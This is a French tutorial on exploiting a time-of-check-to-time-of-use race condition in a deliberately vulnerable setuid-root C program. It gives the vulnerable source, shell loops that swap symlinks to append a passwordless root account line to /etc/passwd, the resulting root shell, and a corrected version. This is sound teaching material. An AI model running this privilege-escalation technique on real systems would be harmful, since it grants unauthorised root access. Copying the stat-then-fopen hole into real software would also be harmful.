# Race Condition sur GNU/Linux

description : Exploitation d'une race condition sur GNU/Linux
categories : Hacking;
tags : Linux; C;

Race Condition sur GNU/Linux

Introduction

Une Race Condition peut se produire lorsque plusieurs processus accèdent et manipulent simultanément les même données. Cette vulnérabilité repose donc sur le fonctionnement multitâche du système d'exploitation.

Si un exécutable appartenant à l'utilisateur root avec le bit set-user-ID, SETUID ou SUID activé et, si cet exécutable présente une vulnérabilité de type Race Condition, alors un attaquant pourrais exécuter un processus parallèle pour réaliser une "race" contre cet exécutable vulnérable dans le but de modifier son comportement.

Rappel: Un exécutable avec le bit set-user-ID, SETUID ou SUID activé s'exécute toujours en tant qu'utilisateur propriétaire de cet exécutable, et ceci quel que soit l'utilisateur qui exécute cet exécutable.

Ce bit set-user-ID, SETUID ou SUID peut être activé grâce à l'outil chmod
Ce bit est représenté par un 's' (en minuscule) en lieu et place du 'x'.

Exemple:

1
2
$ ls -l /usr/bin/passwd
-rwsr-xr-x  1 root root 26840 2006-08-12 20:05 /usr/bin/passwd

Cela signifie que quel que soit l'utilisateur qui exécutera la commande passwd, cet utilisateur l'exécutera avec les droits root.

Exploitation

Note: L'exploitation qui va suivre a été réalisé sur une Debian GNU/Linux 3.1 (Sarge) i386.

Voici le code source de notre programme vulnérable:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/*
 * addmsg: log a given message to a given file
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char *argv[])
{
    char *fname;
    struct stat sb;
    FILE *fp;

    if (argc != 3)
    {
        fprintf(stderr, "%s <file> <message>\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    if (stat(fname, &sb))
    {
        fprintf(stderr, "%s: cannot stat message file\n", argv[0]);
        exit(1);
    }

    if (sb.st_uid != getuid())
    {
        fprintf(stderr, "%s: permission denied\n", argv[0]);
        exit(1);
    }

    if ((fp = fopen(fname, "a")) == NULL)
    {
        perror(fname);
        fprintf(stderr, "%s: cannot open message file\n", argv[0]);
        exit(1);
    }

    fprintf(fp, "%s\n", argv[2]);

    fclose(fp);

    return 0;
}

Après compilation, nous lui donnons les mêmes droits que la fonction passwd vue plus haut:

1
2
3
4
5
6
7
8
$ gcc addmsg.c -o addmsg   
$ su
Password: 
# chown root:root ./addmsg
# chmod u+s ./addmsg
# ls -l ./addmsg
-rwsr-xr-x  1 root root 12564 2022-01-12 07:22 ./addmsg
# 

Time of Check to Time of Use

L'attaque que nous allons réaliser ici se nomme "Time of Check to Time of Use (TOCTOU)".
Nous pouvons schématiser cette attaque de cette façon:

1
2
3
4
5
6
7
---------------------------------------------------------------------------------------> Time

        Action 1                                                          Action 2
     Time Of Check                                                      Time Of Use
----------|------------------------------------------------------------------|----------
          \                                                                  /
           ----------------------------- window -----------------------------

Pour réaliser l'attaque, la Race Condition doit avoir lieu durant la partie nommée window.

Dans notre programme vulnérable (addmsg) "l'Action 1", le "Time Of Check" correspond à la fonction stat

Et "l'Action 2", le "Time Of Use" à la fonction fopen

Le but de notre exploitation est d'ajouter la ligne:

w00t:U6aMy0wojraho:0:0:w00t:/root:/bin/bash

dans le fichier /etc/passwd. La string U6aMy0wojraho correspond au hash pour un mot de passe vide et w00t correspond à l'username.

Pour savoir si l'attaque a été réalisé avec succès, nous devons écrire ce petit script sh que nous allons nommer "check.sh":

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
#!/bin/sh

touch /tmp/attacking

old=`ls -l /etc/passwd`
new=`ls -l /etc/passwd`

while [ "$old" == "$new" ]
do
    new=`ls -l /etc/passwd`
done

echo "STOP... The /etc/passwd file has been changed!"

rm /tmp/attacking

Note: /tmp/attacking est utilisé ici comme flag permettant de gérer les boucles qui vont suivre.

L'attaque

Dans un premier terminal, nous exécutons le script check.sh:

$ sh ./check.sh

Dans un second terminal, nous exécutons cette ligne de commande:

$ touch /home/sysc4ll/public.txt; while [ -e /tmp/attacking ]; do ln -sf /home/sysc4ll/public.txt /tmp/foobar; ln -sf /etc/passwd /tmp/foobar; done;

Puis, dans un troisième et dernier terminal:

$ while [ -e /tmp/attacking ]; do ./addmsg /tmp/foobar "w00t:U6aMy0wojraho:0:0:w00t:/root:/bin/bash"; done;

Après plusieurs ./addmsg: permission denied dans le troisième terminal, les boucles s'arrêtent, nous retrouvons le prompt:

1
2
3
4
$ su w00t
Password: 
# id
uid=0(root) gid=0(root) groups=0(root)

Good !

Correction

Dans notre cas, pour empêcher la Race Condition, il nous faut corriger le code source de addmsg.c pour utiliser un file descriptor retourner par la fonction open

Ce file descriptor sera utilisé avec les fonctions: fstat et fdopen

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>

int main(int argc, char *argv[])
{
    char *fname;
    int fd;
    struct stat sb;
    FILE *fp;

    if (argc != 3)
    {
        fprintf(stderr, "%s <file> <message>\n", argv[0]);
        exit(1);
    }

    fname = argv[1];

    if ((fd = open(fname, O_WRONLY)) == -1)
    {
        perror(fname);
        fprintf(stderr, "%s: cannot open message file\n", argv[0]);
        exit(1);
    }

    if (fstat(fd, &sb))
    {
        fprintf(stderr, "%s: cannot fstat message file\n", argv[0]);
        exit(1);
    }

    if (sb.st_uid != getuid())
    {
        fprintf(stderr, "%s: permission denied\n", argv[0]);
        exit(1);
    }

    if ((fp = fdopen(fd, "a")) == NULL)
    {
        perror(fname);
        fprintf(stderr, "%s: cannot open message file\n", argv[0]);
        exit(1);
    }

    fprintf(fp, "%s\n", argv[2]);

    fclose(fp);

    return 0;
}